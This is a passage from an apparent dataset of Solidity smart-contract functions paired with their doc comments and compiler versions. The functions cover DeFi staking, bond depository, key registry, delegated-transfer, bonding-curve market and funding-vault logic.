user.amount.mul(pool.accTokenPerShare).div(1e12).sub(user.rewardDebt);\r\n safeTokenTransfer(msg.sender, pending);\r\n }\r\n if(_amount > 0) { //kevin\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// DepositFor tokens to Pool for Token allocation.", "function_code": "function depositFor(address _beneficiary, uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][_beneficiary];\r\n updatePool(_pid);\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(pool.accTokenPerShare).div(1e12).sub(user.rewardDebt);\r\n safeTokenTransfer(_beneficiary, pending);\r\n }\r\n if(_amount > 0) { //kevin\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12);\r\n emit Deposit(_beneficiary, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n \t * @dev Store the PublicKey info for a Name\r\n \t * @param _id The ID of the Name\r\n \t * @param _defaultKey The default public key for this Name\r\n \t * @param _writerKey The writer public key for this Name\r\n \t * @return true on success\r\n \t */", "function_code": "function initialize(address _id, address _defaultKey, address _writerKey)\r\n\t\texternal\r\n\t\tisName(_id)\r\n\t\tkeyNotTaken(_defaultKey)\r\n\t\tkeyNotTaken(_writerKey)\r\n\t\tonlyFactory returns (bool) {\r\n\t\trequire (!isExist(_id));\r\n\r\n\t\tkeyToNameId[_defaultKey] = _id;\r\n\t\tif (_defaultKey != _writerKey) {\r\n\t\t\tkeyToNameId[_writerKey] = _id;\r\n\t\t}\r\n\t\tPublicKey storage _publicKey = publicKeys[_id];\r\n\t\t_publicKey.created = true;\r\n\t\t_publicKey.defaultKey = _defaultKey;\r\n\t\t_publicKey.writerKey = _writerKey;\r\n\t\t_publicKey.keys.push(_defaultKey);\r\n\t\tif (_defaultKey != _writerKey) {\r\n\t\t\t_publicKey.keys.push(_writerKey);\r\n\t\t}\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Add publicKey to list for a Name\r\n \t * @param _id The ID of the Name\r\n \t * @param _key The publicKey to be added\r\n \t * @param _nonce The signed uint256 nonce (should be Name's current nonce + 1)\r\n \t * @param _signatureV The V part of the signature\r\n \t * @param _signatureR The R part of the signature\r\n \t * @param _signatureS The S part of the signature\r\n \t */", "function_code": "function addKey(address _id,\r\n\t\taddress _key,\r\n\t\tuint256 _nonce,\r\n\t\tuint8 _signatureV,\r\n\t\tbytes32 _signatureR,\r\n\t\tbytes32 _signatureS\r\n\t) public isName(_id) onlyAdvocate(_id) keyNotTaken(_key) senderNameNotCompromised {\r\n\t\trequire (_nonce == _nameFactory.nonces(_id).add(1));\r\n\t\tbytes32 _hash = keccak256(abi.encodePacked(address(this), _id, _key, _nonce));\r\n\t\trequire (ecrecover(_hash, _signatureV, _signatureR, _signatureS) == _key);\r\n\t\trequire (_addKey(_id, _key));\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Get list of publicKeys of a Name\r\n \t * @param _id The ID of the Name\r\n \t * @param _from The starting index\r\n \t * @param _to The ending index\r\n \t * @return list of publicKeys\r\n \t */", "function_code": "function getKeys(address _id, uint256 _from, uint256 _to) public isName(_id) view returns (address[] memory) {\r\n\t\trequire (isExist(_id));\r\n\t\trequire (_from >= 0 && _to >= _from);\r\n\r\n\t\tPublicKey memory _publicKey = publicKeys[_id];\r\n\t\trequire (_publicKey.keys.length > 0);\r\n\r\n\t\tif (_to > _publicKey.keys.length.sub(1)) {\r\n\t\t\t_to = _publicKey.keys.length.sub(1);\r\n\t\t}\r\n\t\taddress[] memory _keys = new address[](_to.sub(_from).add(1));\r\n\r\n\t\tfor (uint256 i = _from; i <= _to; i++) {\r\n\t\t\t_keys[i.sub(_from)] = _publicKey.keys[i];\r\n\t\t}\r\n\t\treturn _keys;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Remove publicKey from the list\r\n \t * @param _id The ID of the Name\r\n \t * @param _key The publicKey to be removed\r\n \t */", "function_code": "function removeKey(address _id, address _key) public isName(_id) onlyAdvocate(_id) senderNameNotCompromised {\r\n\t\trequire (this.isKeyExist(_id, _key));\r\n\r\n\t\tPublicKey storage _publicKey = publicKeys[_id];\r\n\r\n\t\t// Can't remove default key\r\n\t\trequire (_key != _publicKey.defaultKey);\r\n\t\t// Can't remove writer key\r\n\t\trequire (_key != _publicKey.writerKey);\r\n\t\t// Has to have at least defaultKey/writerKey\r\n\t\trequire (_publicKey.keys.length > 1);\r\n\r\n\t\tkeyToNameId[_key] = address(0);\r\n\r\n\t\tuint256 index;\r\n\t\tfor (uint256 i = 0; i < _publicKey.keys.length; i++) {\r\n\t\t\tif (_publicKey.keys[i] == _key) {\r\n\t\t\t\tindex = i;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tfor (uint256 i = index; i < _publicKey.keys.length.sub(1); i++) {\r\n\t\t\t_publicKey.keys[i] = _publicKey.keys[i+1];\r\n\t\t}\r\n\t\t_publicKey.keys.length--;\r\n\r\n\t\tuint256 _nonce = _nameFactory.incrementNonce(_id);\r\n\t\trequire (_nonce > 0);\r\n\r\n\t\temit RemoveKey(_id, _key, _nonce);\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Set a publicKey as the default for a Name\r\n \t * @param _id The ID of the Name\r\n \t * @param _defaultKey The defaultKey to be set\r\n \t * @param _signatureV The V part of the signature for this update\r\n \t * @param _signatureR The R part of the signature for this update\r\n \t * @param _signatureS The S part of the signature for this update\r\n \t */", "function_code": "function setDefaultKey(address _id, address _defaultKey, uint8 _signatureV, bytes32 _signatureR, bytes32 _signatureS) public isName(_id) onlyAdvocate(_id) senderNameNotCompromised {\r\n\t\trequire (this.isKeyExist(_id, _defaultKey));\r\n\r\n\t\tbytes32 _hash = keccak256(abi.encodePacked(address(this), _id, _defaultKey));\r\n\t\trequire (ecrecover(_hash, _signatureV, _signatureR, _signatureS) == msg.sender);\r\n\r\n\t\tPublicKey storage _publicKey = publicKeys[_id];\r\n\t\t_publicKey.defaultKey = _defaultKey;\r\n\r\n\t\tuint256 _nonce = _nameFactory.incrementNonce(_id);\r\n\t\trequire (_nonce > 0);\r\n\t\temit SetDefaultKey(_id, _defaultKey, _nonce);\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Set a publicKey as the writer for a Name\r\n \t * @param _id The ID of the Name\r\n \t * @param _writerKey The writerKey to be set\r\n \t * @param _signatureV The V part of the signature for this update\r\n \t * @param _signatureR The R part of the signature for this update\r\n \t * @param _signatureS The S part of the signature for this update\r\n \t */", "function_code": "function setWriterKey(address _id, address _writerKey, uint8 _signatureV, bytes32 _signatureR, bytes32 _signatureS) public isName(_id) onlyAdvocate(_id) senderNameNotCompromised {\r\n\t\tbytes32 _hash = keccak256(abi.encodePacked(address(this), _id, _writerKey));\r\n\t\trequire (ecrecover(_hash, _signatureV, _signatureR, _signatureS) == msg.sender);\r\n\t\trequire (_setWriterKey(_id, _writerKey));\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Actual adding the publicKey to list for a Name\r\n \t * @param _id The ID of the Name\r\n \t * @param _key The publicKey to be added\r\n \t * @return true on success\r\n \t */", "function_code": "function _addKey(address _id, address _key) internal returns (bool) {\r\n\t\trequire (!this.isKeyExist(_id, _key));\r\n\r\n\t\tkeyToNameId[_key] = _id;\r\n\r\n\t\tPublicKey storage _publicKey = publicKeys[_id];\r\n\t\t_publicKey.keys.push(_key);\r\n\r\n\t\tuint256 _nonce = _nameFactory.incrementNonce(_id);\r\n\t\trequire (_nonce > 0);\r\n\r\n\t\temit AddKey(_id, _key, _nonce);\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Actual setting the writerKey for a Name\r\n \t * @param _id The ID of the Name\r\n \t * @param _writerKey The writerKey to be set\r\n \t * @return true on success\r\n \t */", "function_code": "function _setWriterKey(address _id, address _writerKey) internal returns (bool) {\r\n\t\trequire (this.isKeyExist(_id, _writerKey));\r\n\r\n\t\tPublicKey storage _publicKey = publicKeys[_id];\r\n\t\t_publicKey.writerKey = _writerKey;\r\n\r\n\t\tuint256 _nonce = _nameFactory.incrementNonce(_id);\r\n\t\trequire (_nonce > 0);\r\n\t\temit SetWriterKey(_id, _writerKey, _nonce);\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n * @notice initializes bond parameters\r\n * @param _controlVariable uint\r\n * @param _vestingTerm uint\r\n * @param _minimumPrice uint\r\n * @param _maxPayout uint\r\n * @param _fee uint\r\n * @param _maxDebt uint\r\n * @param _initialDebt uint\r\n */", "function_code": "function initializeBondTerms( \r\n uint _controlVariable, \r\n uint _vestingTerm,\r\n uint _minimumPrice,\r\n uint _maxPayout,\r\n uint _fee,\r\n uint _maxDebt,\r\n uint _initialDebt\r\n ) external onlyPolicy() {\r\n require( terms.controlVariable == 0, \"Bonds must be initialized from 0\" );\r\n terms = Terms ({\r\n controlVariable: _controlVariable,\r\n vestingTerm: _vestingTerm,\r\n minimumPrice: _minimumPrice,\r\n maxPayout: _maxPayout,\r\n fee: _fee,\r\n maxDebt: _maxDebt\r\n });\r\n totalDebt = _initialDebt;\r\n lastDecay = block.number;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice set parameters for new bonds\r\n * @param _parameter PARAMETER\r\n * @param _input uint\r\n */", "function_code": "function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyPolicy() {\r\n if ( _parameter == PARAMETER.VESTING ) { // 0\r\n require( _input >= 10000, \"Vesting must be longer than 36 hours\" );\r\n terms.vestingTerm = _input;\r\n } else if ( _parameter == PARAMETER.PAYOUT ) { // 1\r\n require( _input <= 1000, \"Payout cannot be above 1 percent\" );\r\n terms.maxPayout = _input;\r\n } else if ( _parameter == PARAMETER.FEE ) { // 2\r\n require( _input <= 10000, \"DAO fee cannot exceed payout\" );\r\n terms.fee = _input;\r\n } else if ( _parameter == PARAMETER.DEBT ) { // 3\r\n terms.maxDebt = _input;\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice set control variable adjustment\r\n * @param _addition bool\r\n * @param _increment uint\r\n * @param _target uint\r\n * @param _buffer uint\r\n */", "function_code": "function setAdjustment ( \r\n bool _addition,\r\n uint _increment, \r\n uint _target,\r\n uint _buffer \r\n ) external onlyPolicy() {\r\n require( _increment <= terms.controlVariable.mul( 25 ).div( 1000 ), \"Increment too large\" );\r\n\r\n adjustment = Adjust({\r\n add: _addition,\r\n rate: _increment,\r\n target: _target,\r\n buffer: _buffer,\r\n lastBlock: block.number\r\n });\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice set contract for auto stake\r\n * @param _staking address\r\n * @param _helper bool\r\n */", "function_code": "function setStaking( address _staking, bool _helper ) external onlyPolicy() {\r\n require( _staking != address(0) );\r\n if ( _helper ) {\r\n useHelper = true;\r\n stakingHelper = _staking;\r\n } else {\r\n useHelper = false;\r\n staking = _staking;\r\n }\r\n }", "version": "0.7.5"} {"comment": "/** \r\n * @notice redeem bond for user\r\n * @param _recipient address\r\n * @param _stake bool\r\n * @return uint\r\n */", "function_code": "function redeem( address _recipient, bool _stake ) external returns ( uint ) { \r\n Bond memory info = bondInfo[ _recipient ];\r\n uint percentVested = percentVestedFor( _recipient ); // (blocks since last interaction / vesting term remaining)\r\n\r\n if ( percentVested >= 10000 ) { // if fully vested\r\n delete bondInfo[ _recipient ]; // delete user info\r\n emit BondRedeemed( _recipient, info.payout, 0 ); // emit bond data\r\n return stakeOrSend( _recipient, _stake, info.payout ); // pay user everything due\r\n\r\n } else { // if unfinished\r\n // calculate payout vested\r\n uint payout = info.payout.mul( percentVested ).div( 10000 );\r\n\r\n // store updated deposit info\r\n bondInfo[ _recipient ] = Bond({\r\n payout: info.payout.sub( payout ),\r\n vesting: info.vesting.sub( block.number.sub( info.lastBlock ) ),\r\n lastBlock: block.number,\r\n pricePaid: info.pricePaid\r\n });\r\n\r\n emit BondRedeemed( _recipient, payout, bondInfo[ _recipient ].payout );\r\n return stakeOrSend( _recipient, _stake, payout );\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice allow user to stake payout automatically\r\n * @param _stake bool\r\n * @param _amount uint\r\n * @return uint\r\n */", "function_code": "function stakeOrSend( address _recipient, bool _stake, uint _amount ) internal returns ( uint ) {\r\n if ( !_stake ) { // if user does not want to stake\r\n IERC20( OHM ).transfer( _recipient, _amount ); // send payout\r\n } else { // if user wants to stake\r\n if ( useHelper ) { // use if staking warmup is 0\r\n IERC20( OHM ).approve( stakingHelper, _amount );\r\n IStakingHelper( stakingHelper ).stake( _amount, _recipient );\r\n } else {\r\n IERC20( OHM ).approve( staking, _amount );\r\n IStaking( staking ).stake( _amount, _recipient );\r\n }\r\n }\r\n return _amount;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice makes incremental adjustment to control variable\r\n */", "function_code": "function adjust() internal {\r\n uint blockCanAdjust = adjustment.lastBlock.add( adjustment.buffer );\r\n if( adjustment.rate != 0 && block.number >= blockCanAdjust ) {\r\n uint initial = terms.controlVariable;\r\n if ( adjustment.add ) {\r\n terms.controlVariable = terms.controlVariable.add( adjustment.rate );\r\n if ( terms.controlVariable >= adjustment.target ) {\r\n adjustment.rate = 0;\r\n terms.controlVariable = adjustment.target;\r\n }\r\n } else {\r\n terms.controlVariable = terms.controlVariable.sub( adjustment.rate );\r\n if ( terms.controlVariable <= adjustment.target ) {\r\n adjustment.rate = 0;\r\n terms.controlVariable = adjustment.target;\r\n }\r\n }\r\n adjustment.lastBlock = block.number;\r\n emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add );\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice calculate current bond premium\r\n * @return price_ uint\r\n */", "function_code": "function bondPrice() public view returns ( uint price_ ) { \r\n price_ = terms.controlVariable.mul( debtRatio() ).add( 1000000000 ).div( 1e7 );\r\n if ( price_ < terms.minimumPrice ) {\r\n price_ = terms.minimumPrice;\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice calculate current bond price and remove floor if above\r\n * @return price_ uint\r\n */", "function_code": "function _bondPrice() internal returns ( uint price_ ) {\r\n price_ = terms.controlVariable.mul( debtRatio() ).add( 1000000000 ).div( 1e7 );\r\n if ( price_ < terms.minimumPrice ) {\r\n price_ = terms.minimumPrice; \r\n } else if ( terms.minimumPrice != 0 ) {\r\n terms.minimumPrice = 0;\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice converts bond price to DAI value\r\n * @return price_ uint\r\n */", "function_code": "function bondPriceInUSD() public view returns ( uint price_ ) {\r\n if( isLiquidityBond ) {\r\n price_ = bondPrice().mul( IBondCalculator( bondCalculator ).markdown( principle ) ).div( 100 );\r\n } else {\r\n price_ = bondPrice().mul( 10 ** IERC20( principle ).decimals() ).div( 100 );\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice debt ratio in same terms for reserve or liquidity bonds\r\n * @return uint\r\n */", "function_code": "function standardizedDebtRatio() external view returns ( uint ) {\r\n if ( isLiquidityBond ) {\r\n return debtRatio().mul( IBondCalculator( bondCalculator ).markdown( principle ) ).div( 1e9 );\r\n } else {\r\n return debtRatio();\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice amount to decay total debt by\r\n * @return decay_ uint\r\n */", "function_code": "function debtDecay() public view returns ( uint decay_ ) {\r\n uint blocksSinceLast = block.number.sub( lastDecay );\r\n decay_ = totalDebt.mul( blocksSinceLast ).div( terms.vestingTerm );\r\n if ( decay_ > totalDebt ) {\r\n decay_ = totalDebt;\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice calculate how far into vesting a depositor is\r\n * @param _depositor address\r\n * @return percentVested_ uint\r\n */", "function_code": "function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) {\r\n Bond memory bond = bondInfo[ _depositor ];\r\n uint blocksSinceLast = block.number.sub( bond.lastBlock );\r\n uint vesting = bond.vesting;\r\n\r\n if ( vesting > 0 ) {\r\n percentVested_ = blocksSinceLast.mul( 10000 ).div( vesting );\r\n } else {\r\n percentVested_ = 0;\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice calculate amount of OHM available for claim by depositor\r\n * @param _depositor address\r\n * @return pendingPayout_ uint\r\n */", "function_code": "function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) {\r\n uint percentVested = percentVestedFor( _depositor );\r\n uint payout = bondInfo[ _depositor ].payout;\r\n\r\n if ( percentVested >= 10000 ) {\r\n pendingPayout_ = payout;\r\n } else {\r\n pendingPayout_ = payout.mul( percentVested ).div( 10000 );\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice allow anyone to send lost tokens (excluding principle or OHM) to the DAO\r\n * @return bool\r\n */", "function_code": "function recoverLostToken( address _token ) external returns ( bool ) {\r\n require( _token != OHM );\r\n require( _token != principle );\r\n IERC20( _token ).safeTransfer( DAO, IERC20( _token ).balanceOf( address(this) ) );\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n \t * Anyone can call the function to deploy a new payment handler.\r\n \t * The new contract will be created, added to the list, and an event fired.\r\n \t */", "function_code": "function deployNewHandler() public {\r\n\t\t// Deploy the new contract\r\n\t\tPaymentHandler createdHandler = new PaymentHandler(this);\r\n\r\n\t\t// Add it to the list and the mapping\r\n\t\thandlerList.push(address(createdHandler));\r\n\t\thandlerMap[address(createdHandler)] = true;\r\n\r\n\t\t// Emit event to let watchers know that a new handler was created\r\n\t\temit HandlerCreated(address(createdHandler));\r\n\t}", "version": "0.5.16"} {"comment": "/**\r\n \t * This function is called by handlers when they receive ETH payments.\r\n \t */", "function_code": "function firePaymentReceivedEvent(address to, address from, uint256 amount) public {\r\n\t\t// Verify the call is coming from a handler\r\n\t\trequire(handlerMap[msg.sender], \"Only payment handlers are allowed to trigger payment events.\");\r\n\r\n\t\t// Emit the event\r\n\t\temit EthPaymentReceived(to, from, amount);\r\n\t}", "version": "0.5.16"} {"comment": "/**\r\n \t * Allows a caller to sweep multiple handlers in one transaction\r\n \t */", "function_code": "function multiHandlerSweep(address[] memory handlers, IERC20 tokenContract) public {\r\n\t\tfor (uint i = 0; i < handlers.length; i++) {\r\n\r\n\t\t\t// Whitelist calls to only handlers\r\n\t\t\trequire(handlerMap[handlers[i]], \"Only payment handlers are valid sweep targets.\");\r\n\r\n\t\t\t// Trigger sweep\r\n\t\t\tPaymentHandler(address(uint160(handlers[i]))).sweepTokens(tokenContract);\r\n\t\t}\r\n\t}", "version": "0.5.16"} {"comment": "/* Transfers based on an offline signed transfer instruction. */", "function_code": "function delegatedTransfer(address from, address to, uint amount, string narrative,\r\n uint maxExecutorFeeInToken, /* client provided max fee for executing the tx */\r\n bytes32 nonce, /* random nonce generated by client */\r\n /* ^^^^ end of signed data ^^^^ */\r\n bytes signature,\r\n uint requestedExecutorFeeInToken /* the executor can decide to request lower fee */\r\n )\r\n external {\r\n bytes32 txHash = keccak256(abi.encodePacked(this, from, to, amount, narrative, maxExecutorFeeInToken, nonce));\r\n\r\n _checkHashAndTransferExecutorFee(txHash, signature, from, maxExecutorFeeInToken, requestedExecutorFeeInToken);\r\n\r\n _transfer(from, to, amount, narrative);\r\n }", "version": "0.4.24"} {"comment": "/* transferAndNotify based on an instruction signed offline */", "function_code": "function delegatedTransferAndNotify(address from, TokenReceiver target, uint amount, uint data,\r\n uint maxExecutorFeeInToken, /* client provided max fee for executing the tx */\r\n bytes32 nonce, /* random nonce generated by client */\r\n /* ^^^^ end of signed data ^^^^ */\r\n bytes signature,\r\n uint requestedExecutorFeeInToken /* the executor can decide to request lower fee */\r\n )\r\n external {\r\n bytes32 txHash = keccak256(abi.encodePacked(this, from, target, amount, data, maxExecutorFeeInToken, nonce));\r\n\r\n _checkHashAndTransferExecutorFee(txHash, signature, from, maxExecutorFeeInToken, requestedExecutorFeeInToken);\r\n\r\n _transfer(from, target, amount, \"\");\r\n target.transferNotification(from, amount, data);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Selling tokens back to the bonding curve for collateral.\r\n * @param _numTokens: The number of tokens that you want to burn.\r\n */", "function_code": "function burn(uint256 _numTokens) external onlyActive() returns(bool) {\r\n require(\r\n balances[msg.sender] >= _numTokens,\r\n \"Not enough tokens available\"\r\n );\r\n\r\n uint256 reward = rewardForBurn(_numTokens);\r\n\r\n totalSupply_ = totalSupply_.sub(_numTokens);\r\n balances[msg.sender] = balances[msg.sender].sub(_numTokens);\r\n\r\n require(\r\n collateralToken_.transfer(\r\n msg.sender,\r\n reward\r\n ),\r\n \"Tokens not sent\"\r\n );\r\n\r\n emit Transfer(msg.sender, address(0), _numTokens);\r\n emit Burn(msg.sender, _numTokens, reward);\r\n return true;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @notice This function returns the amount of tokens one can receive for a\r\n * specified amount of collateral token.\r\n * @param _collateralTokenOffered : Amount of reserve token offered for\r\n * purchase.\r\n * @return uint256 : The amount of tokens once can purchase with the\r\n * specified collateral.\r\n */", "function_code": "function collateralToTokenBuying(\r\n uint256 _collateralTokenOffered\r\n )\r\n external\r\n view\r\n returns(uint256)\r\n {\r\n // Works out the amount of collateral for fee\r\n uint256 fee = _collateralTokenOffered.mul(feeRate_).div(100);\r\n // Removes the fee amount from the collateral offered\r\n uint256 amountLessFee = _collateralTokenOffered.sub(fee);\r\n // Works out the inverse curve of the pool with the fee removed amount\r\n return _inverseCurveIntegral(\r\n _curveIntegral(totalSupply_).add(amountLessFee)\r\n ).sub(totalSupply_);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Allows token holders to withdraw collateral in return for tokens\r\n * \t\tafter the market has been finalised.\r\n * @param \t_amount: The amount of tokens they want to withdraw\r\n */", "function_code": "function withdraw(uint256 _amount) public returns(bool) {\r\n // Ensures withdraw can only be called in an inactive market\r\n require(!active_, \"Market not finalised\");\r\n // Ensures the sender has enough tokens\r\n require(_amount <= balances[msg.sender], \"Insufficient funds\");\r\n // Ensures there are no anomaly withdraws that might break calculations\r\n require(_amount > 0, \"Cannot withdraw 0\");\r\n\r\n // Removes amount from user balance\r\n balances[msg.sender] = balances[msg.sender].sub(_amount);\r\n // Gets the balance of the market (vault may send excess funding)\r\n uint256 balance = collateralToken_.balanceOf(address(this));\r\n\r\n // Performs a flat linear 100% collateralized sale\r\n uint256 collateralToTransfer = balance.mul(_amount).div(totalSupply_);\r\n // Removes token amount from the total supply\r\n totalSupply_ = totalSupply_.sub(_amount);\r\n\r\n // Ensures the sender is sent their collateral amount\r\n require(\r\n collateralToken_.transfer(msg.sender, collateralToTransfer),\r\n \"Dai transfer failed\"\r\n );\r\n\r\n emit Transfer(msg.sender, address(0), _amount);\r\n emit Burn(msg.sender, _amount, collateralToTransfer);\r\n\r\n return true;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n \t * @dev\tReturns the required collateral amount for a volume of bonding\r\n \t *\t\t\tcurve tokens.\r\n * @notice The curve intergral code will reject any values that are too\r\n * small or large, that could result in over/under flows.\r\n \t * @param\t_numTokens: The number of tokens to calculate the price of\r\n * @return uint256 : The required collateral amount for a volume of bonding\r\n * curve tokens.\r\n */", "function_code": "function priceToMint(uint256 _numTokens) public view returns(uint256) {\r\n // Gets the balance of the market\r\n uint256 balance = collateralToken_.balanceOf(address(this));\r\n // Performs the curve intergral with the relavant vaules\r\n uint256 collateral = _curveIntegral(\r\n totalSupply_.add(_numTokens)\r\n ).sub(balance);\r\n // Sets the base unit for decimal shift\r\n uint256 baseUnit = 100;\r\n // Adds the fee amount\r\n uint256 result = collateral.mul(100).div(baseUnit.sub(feeRate_));\r\n return result;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n \t * @dev\tReturns the required collateral amount for a volume of bonding\r\n \t *\t\t\tcurve tokens\r\n \t * @param\t_numTokens: The number of tokens to work out the collateral\r\n \t *\t\t\tvaule of\r\n * @return uint256: The required collateral amount for a volume of bonding\r\n * curve tokens\r\n */", "function_code": "function rewardForBurn(uint256 _numTokens) public view returns(uint256) {\r\n // Gets the curent balance of the market\r\n uint256 poolBalanceFetched = collateralToken_.balanceOf(address(this));\r\n // Returns the pool balance minus the curve intergral of the removed\r\n // tokens\r\n return poolBalanceFetched.sub(\r\n _curveIntegral(totalSupply_.sub(_numTokens))\r\n );\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @notice Transfer ownership token from msg.sender to a specified address.\r\n * @param _to : The address to transfer to.\r\n * @param _value : The amount to be transferred.\r\n */", "function_code": "function transfer(address _to, uint256 _value) public returns (bool) {\r\n require(_value <= balances[msg.sender], \"Insufficient funds\");\r\n require(_to != address(0), \"Target account invalid\");\r\n\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n emit Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Initialized the contract, sets up owners and gets the market\r\n * address. This function exists because the Vault does not have\r\n * an address until the constructor has finished running. The\r\n * cumulative funding threshold is set here because of gas issues\r\n * within the constructor.\r\n * @param _market: The market that will be sending this vault it's\r\n * collateral.\r\n */", "function_code": "function initialize(\r\n address _market\r\n )\r\n external\r\n onlyWhitelistAdmin()\r\n returns(bool)\r\n {\r\n require(_market != address(0), \"Contracts initialized\");\r\n // Stores the market in storage \r\n market_ = IMarket(_market); \r\n // Removes the market factory contract as an admin\r\n super.renounceWhitelistAdmin();\r\n\r\n // Adding all previous rounds funding goals to the cumulative goal\r\n for(uint8 i = 0; i < totalRounds_; i++) {\r\n if(i == 0) {\r\n fundingPhases_[i].cumulativeFundingThreshold.add(\r\n fundingPhases_[i].fundingThreshold\r\n );\r\n }\r\n fundingPhases_[i].cumulativeFundingThreshold.add(\r\n fundingPhases_[i-1].cumulativeFundingThreshold\r\n );\r\n }\r\n _active = true;\r\n\r\n return true;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev This function sends the vaults funds to the market, and sets the\r\n * outstanding withdraw to 0.\r\n * @notice If this function is called before the end of all phases, all\r\n * unclaimed (outstanding) funding will be sent to the market to be\r\n * redistributed.\r\n */", "function_code": "function terminateMarket()\r\n public\r\n isActive()\r\n onlyWhitelistAdmin()\r\n {\r\n uint256 remainingBalance = collateralToken_.balanceOf(address(this));\r\n // This ensures that if the creator has any outstanding funds, that\r\n // those funds do not get sent to the market.\r\n if(outstandingWithdraw_ > 0) {\r\n remainingBalance = remainingBalance.sub(outstandingWithdraw_);\r\n }\r\n // Transfers remaining balance to the market\r\n require(\r\n collateralToken_.transfer(address(market_), remainingBalance),\r\n \"Transfering of funds failed\"\r\n );\r\n // Finalizes market (stops buys/sells distributes collateral evenly)\r\n require(market_.finaliseMarket(), \"Market termination error\");\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @notice This function allows for the creation of a new market,\r\n * consisting of a curve and vault. If the creator address is the\r\n * same as the deploying address the market the initialization of\r\n * the market will fail.\r\n * @dev Vyper cannot handle arrays of unknown length, and thus the\r\n * funding goals and durations will only be stored in the vault,\r\n * which is Solidity.\r\n * @param _fundingGoals This is the amount wanting to be raised in each\r\n * round, in collateral.\r\n * @param _phaseDurations The time for each round in months. This number\r\n * is covered into block time within the vault.\r\n * @param _creator Address of the researcher.\r\n * @param _curveType Curve selected.\r\n * @param _feeRate The percentage of fee. e.g: 60\r\n */", "function_code": "function deployMarket(\r\n uint256[] calldata _fundingGoals,\r\n uint256[] calldata _phaseDurations,\r\n address _creator,\r\n uint256 _curveType,\r\n uint256 _feeRate\r\n )\r\n external\r\n onlyAnAdmin()\r\n {\r\n // Breaks down the return of the curve data\r\n (address curveLibrary,, bool curveState) = curveRegistry_.getCurveData(\r\n _curveType\r\n );\r\n\r\n require(_feeRate > 0, \"Fee rate too low\");\r\n require(_feeRate < 100, \"Fee rate too high\");\r\n require(_creator != address(0), \"Creator address invalid\");\r\n require(curveState, \"Curve inactive\");\r\n require(curveLibrary != address(0), \"Curve library invalid\");\r\n \r\n address newVault = address(new Vault(\r\n _fundingGoals,\r\n _phaseDurations,\r\n _creator,\r\n address(collateralToken_),\r\n address(moleculeVault_)\r\n ));\r\n\r\n address newMarket = address(new Market(\r\n _feeRate,\r\n newVault,\r\n curveLibrary,\r\n address(collateralToken_)\r\n ));\r\n\r\n require(Vault(newVault).initialize(newMarket), \"Vault not initialized\");\r\n marketRegistry_.registerMarket(newMarket, newVault, _creator);\r\n }", "version": "0.5.10"} {"comment": "/**\n * @dev Execute single-hop swaps for swapExactIn trade type. Used for swaps\n * returned from viewSplit function and legacy off-chain SOR.\n *\n * @param swaps Array of single-hop swaps.\n * @param tokenIn Input token.\n * @param tokenOut Output token.\n * @param totalAmountIn Total amount of tokenIn.\n * @param minTotalAmountOut Minumum amount of tokenOut.\n * @param useUtilityToken Flag to determine if the protocol swap fee is paid using UtilityToken or TokenIn.\n */", "function_code": "function batchSwapExactIn(\n Swap[] memory swaps,\n IXToken tokenIn,\n IXToken tokenOut,\n uint256 totalAmountIn,\n uint256 minTotalAmountOut,\n bool useUtilityToken\n ) public returns (uint256 totalAmountOut) {\n transferFrom(tokenIn, totalAmountIn);\n\n for 